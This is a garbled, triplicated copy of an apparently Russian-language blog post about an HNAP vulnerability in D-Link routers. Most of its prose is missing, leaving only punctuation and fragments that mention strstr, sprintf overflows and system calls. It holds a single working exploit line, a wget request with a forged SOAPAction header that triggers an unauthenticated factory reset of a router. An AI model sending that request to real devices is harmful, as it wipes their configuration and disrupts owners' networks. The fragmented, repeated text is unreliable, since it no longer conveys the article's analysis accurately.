strstr for validating the HNAP SOAPAction header:system callsprintf callsprintf stack overflow?
system call?
strcmp instead of strstr to validate the SOAPAction header?
access function to check that the SOAPAction valid, expected value by checking for the existence of a file. /etc/templates/hnap/.php:

sprintf(), access()
, sprintf system
, sprintf access ; sprintf sprintf .
: , HNAP, .. , . , , !
, , , :
$ wget --header="SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/SetFactoryDefault" http://192.168.0.1/HNAP1
, D-Link .
UPD : D-Link ,  /etc/templates/hnap/.php: 
 
 
  sprintf(),   access() 
 
 ,          sprintf  system 
 
 ,     sprintf  access ;         sprintf        sprintf . 
 
      :       ,       HNAP, ..   ,   .  ,      ,        ! 
 
 ,     ,            ,           : 
 $ wget --header="SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/SetFactoryDefault" http://192.168.0.1/HNAP1 
    , D-Link . 
 
 UPD : D-Link  ,   /etc/templates/hnap/.php:

sprintf(), access()
, sprintf system
, sprintf access ; sprintf sprintf .
: , HNAP, .. , . , , !
, , , :
$ wget --header="SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/SetFactoryDefault" http://192.168.0.1/HNAP1
, D-Link .
UPD : D-Link ,Source: https://habr.com/ru/post/256777/
All Articles